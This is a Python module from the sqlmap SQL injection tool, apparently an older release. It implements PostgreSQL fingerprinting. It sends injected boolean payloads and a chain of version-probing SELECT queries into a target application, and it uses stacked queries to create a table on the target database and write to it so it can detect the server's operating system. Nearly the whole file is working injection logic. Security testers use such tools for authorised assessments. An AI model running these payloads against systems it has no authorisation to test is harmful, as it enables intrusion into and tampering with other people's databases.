#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.agent import agent from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import getUnicode from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.session import setDbms from lib.core.settings import DBMS from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PGSQL_SYSTEM_DBS from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self) def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.POSTGRESQL return value actVer = formatDBMSfp() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = getHtmlErrorFp() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2) """ if conf.dbms in PGSQL_ALIASES: setDbms(DBMS.POSTGRESQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "testing PostgreSQL" logger.info(infoMsg) randInt = getUnicode(randomInt(1)) payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt)) result = Request.queryPage(payload) if result: infoMsg = "confirming PostgreSQL" logger.info(infoMsg) payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) result = Request.queryPage(payload) if not result: warnMsg = "the back-end DMBS is not PostgreSQL" logger.warn(warnMsg) return False setDbms(DBMS.POSTGRESQL) self.getBanner() if not conf.extensiveFp: return True if inject.getValue("SELECT DIV(6, 3)", unpack=False, charsetType=2, suppressOutput=True) == "2": kb.dbmsVersion = [">= 8.4.0"] elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2, suppressOutput=True) in ( "1", "2" ) and not inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2, suppressOutput=True) in ( "1", "2" ): kb.dbmsVersion = [">= 8.3.0", "< 8.4"] elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2, suppressOutput=True): kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"] elif inject.getValue("SELECT GREATEST(5, 9, 1)", unpack=False, charsetType=2, suppressOutput=True) == "9": kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] elif inject.getValue("SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2, suppressOutput=True) == "3": kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] elif inject.getValue("SELECT SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False, suppressOutput=True): kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] elif inject.getValue("SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False, suppressOutput=True) == "p": kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] elif inject.getValue("SELECT BIT_LENGTH(1)") == "8": kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] elif inject.getValue("SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False, suppressOutput=True) == "a": kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] elif inject.getValue("SELECT POW(2, 3)", unpack=False, charsetType=2, suppressOutput=True) == "8": kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] elif inject.getValue("SELECT MAX('a')") == "a": kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] elif re.search("([\d\.]+)", inject.getValue("SELECT SUBSTR(VERSION(), 12, 5)", unpack=False, suppressOutput=True)): kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] elif inject.getValue("SELECT SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2, suppressOutput=True) == "2": kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] elif inject.getValue("SELECT SUBSTRING('sqlmap', 1, 1)", unpack=False, suppressOutput=True) == "s": kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] else: kb.dbmsVersion = ["< 6.2.0"] return True else: warnMsg = "the back-end DMBS is not PostgreSQL" logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if kb.os: return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = ( " Visual C++", "mingw" ) for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" query = agent.forgeCaseStatement(query) if inject.getValue(query, charsetType=1, suppressOutput=True) == "1": kb.os = "Windows" break if kb.os is None: kb.os = "Linux" infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) self.cleanup(onlyFileTbl=True) def forceDbmsEnum(self): if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": conf.db = "public" warnMsg = "on PostgreSQL it is only possible to enumerate " warnMsg += "on the current schema and on system databases, " warnMsg += "sqlmap is going to use 'public' schema as " warnMsg += "database name" logger.warn(warnMsg)